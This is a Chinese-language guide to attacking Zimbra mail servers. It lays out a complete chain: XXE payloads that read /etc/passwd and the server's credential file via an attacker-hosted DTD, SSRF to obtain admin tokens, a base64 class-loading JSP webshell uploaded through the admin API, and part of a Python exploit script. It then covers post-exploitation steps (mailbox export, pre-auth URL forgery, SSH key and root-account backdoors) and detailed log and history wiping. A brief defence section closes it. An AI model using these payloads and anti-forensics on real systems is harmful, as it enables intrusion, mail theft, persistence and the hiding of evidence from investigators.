Zimbra邮服渗透技巧
字数 1101 2025-08-19 12:41:22
Zimbra邮件服务器渗透测试技术指南
1. Zimbra邮件服务器搭建
基本环境配置
- 操作系统:CentOS 7
- 域名:vvvv1.zimbra.com
- 管理员账户:admin@vvvv1.zimbra.com/123456
安装步骤
-
参考安装教程:
- https://blog.csdn.net/u013618714/article/details/115478116
- https://www.jianshu.com/p/722bc70ff426
- https://xz.aliyun.com/t/7991
-
防火墙配置:
# 开启443端口
iptables -I INPUT -p tcp --dport 443 -j ACCEPT
# 或关闭防火墙
systemctl stop firewalld
- 创建测试用户:
zmprov createAccount mary@zimbra.com admin123 displayName 'Mary'
zmprov createAccount tom@zimbra.com admin123 displayName 'Tom'
2. XXE+SSRF组合漏洞利用
漏洞验证
发送POST请求到/Autodiscover/Autodiscover.xml:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
读取Zimbra配置文件
- 创建外部DTD文件(poc.dtd):
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
- 在攻击机上启动HTTP服务:
python3 -m http.server 7777
- 发送包含远程DTD的请求:
%dtd; %all; ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
获取低权限Token
发送SOAP请求到/service/soap:
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>3JS3MkuYGG</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
探测SSRF漏洞
使用获取的Token测试SSRF:
POST /service/proxy?target=https://abcd.0lzme4.dnslog.cn HTTP/1.1
Host: 192.168.8.130:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_445fad824269f204515a7c310c0fc7fbfcfc425c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637383737333133323439343b747970653d363a7a696d6272613b7469643d31303a313338303230313330343b
获取高权限Token
通过SSRF获取管理员Token:
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<account by="adminName">zimbra</account>
<password>3JS3MkuYGG</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
3. 上传Webshell
上传JSP木马
使用高权限Token上传Webshell:
POST /service/extension/clientUploader/upload HTTP/1.1
Host: 192.168.52.142:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_ac132517416ecf59c8e7f0e221f8efcf055e535b_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638393639313639383131313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3232333338353538393b;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyfguo5iLr5MUuhaZ
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="filename1"
qweqwe
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="clientFile";filename="shell.jsp"
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="requestId"
111111
------WebKitFormBoundaryyfguo5iLr5MUuhaZ--
4. 自动化利用脚本
参考Python自动化利用脚本:
import requests
import re
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class zimbra_rce(object):
def __init__(self, base_url, dtd_url, file_name, payload_file):
self.base_url = base_url
self.dtd_url = dtd_url
self.low_auth = {}
self.file_name = file_name
self.payload = open(payload_file, "r").read()
self.pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
def upload_dtd_payload(self):
xxe_payload = r"""
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(self.dtd_url)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63',
"Content-Type":"application/xml"
}
dtd_request = requests.post(self.base_url+"/Autodiscover/Autodiscover.xml",data=xxe_payload,headers=headers,verify=False,timeout=15)
if 'response schema not available' not in dtd_request.text:
return False
else:
pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>")
pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>")
if pattern_name.findall(dtd_request.text) and pattern_password.findall(dtd_request.text):
username = pattern_name.findall(dtd_request.text)[0][2]
password = pattern_password.findall(dtd_request.text)[0][2]
self.low_auth = {"username" : username, "password" : password}
return True
return False
# 其他方法省略...
5. 后渗透技术
导出用户邮件
-
通过Token导出:
- 获取用户Token后,访问
/home/{mailbox}/?fmt=tgz导出邮件
- 获取用户Token后,访问
-
预认证攻击:
- 生成preAuthKey:
zmprov generateDomainPreAuthKey vvvv1.zimbra.com - 读取已有PreAuthKey:
/opt/zimbra/bin/zmprov gd vvvv1.zimbra.com zimbraPreAuthKey - 生成预认证URL:
def generate_preauth(target, mailbox, preauth_key): timestamp = int(time()*1000) data = "{mailbox}|name|0|{timestamp}".format(mailbox=mailbox, timestamp=timestamp) pak = hmac.new(preauth_key.encode(), data.encode(), hashlib.sha1).hexdigest() return "%s?account=%s&expires=0×tamp=%s&preauth=%s"%(target+"/service/preauth", mailbox, timestamp, pak)
- 生成preAuthKey:
SSH免密登录
-
上传公钥到目标服务器:
echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> ~/.ssh/authorized_keys chmod -R 600 ~/.ssh/ -
修改SSH配置(可选):
sed -i 's/StrictModes yes/StrictModes no/g' /etc/ssh/sshd_config service sshd restart
修改用户密码文件
- 复制root用户信息创建新用户:
# 在/etc/passwd中添加 testuser:x:0:0:root:/root:/bin/bash # 在/etc/shadow中添加 testuser:$6$...:19136:0:99999:7:::
6. 痕迹清理
网站日志清理
-
查找攻击痕迹:
find /opt/zimbra/log -type f | xargs grep -l "/Autodiscover/Autodiscover.xml" grep -r "/service/proxy?target=https://127.0.0.1" /opt/zimbra/log/ -
清理日志:
sed -i '/192.168.52.1/s/.*//g' access_log.2023-07-18
系统日志清理
-
wtmp/btmp日志修改:
utmpdump /var/log/wtmp |sed "s/192.168.52.1/8.8.8.8/g" |utmpdump -r >/tmp/wtmp && mv /tmp/wtmp /var/log/wtmp -
lastlog清理:
sed -i '/192.168.52.130/d' /var/log/lastlog -
auth.log/secure清理:
grep -l '192.168.52.1' /var/log/auth.log* | xargs sed -i '/192.168.52.1/s/.*//g'
命令历史清理
-
清除.bash_history:
> ~/.bash_history history -c -
禁用历史记录:
unset HISTFILE export HISTFILE=/dev/null set +o history -
修改环境变量:
export HISTFILESIZE=0 export HISTSIZE=0
修改文件时间戳
touch -a -d "2021-1-1 12:13:14" /var/log/wtmp
touch -m -d "2021-1-1 12:13:14" /var/log/wtmp
7. 防御措施
防止环境变量修改
在/etc/skel/.bashrc和用户.bashrc中添加:
readonly HISTFILE
readonly HISTFILESIZE
readonly HISTSIZE
readonly HISTCMD
readonly HISTCONTROL
readonly HISTIGNORE
检测notty登录
# 查看TCP连接
netstat -vatn
# 检查notty进程
ps -aux|grep notty
# 比较ssh进程和登录用户数量
w | wc -l
ps -aux | grep sshd | grep -v grep | wc -l
WAF规则
添加规则过滤包含以下特征的请求:
127.0.0.1localhostAutodiscover.xml- 异常的XML实体声明
本指南详细介绍了Zimbra邮件服务器的渗透测试技术,包括漏洞利用、权限提升、后渗透操作和痕迹清理等完整流程。安全研究人员应仅在授权测试中使用这些技术,企业用户应参考防御措施加固系统安全。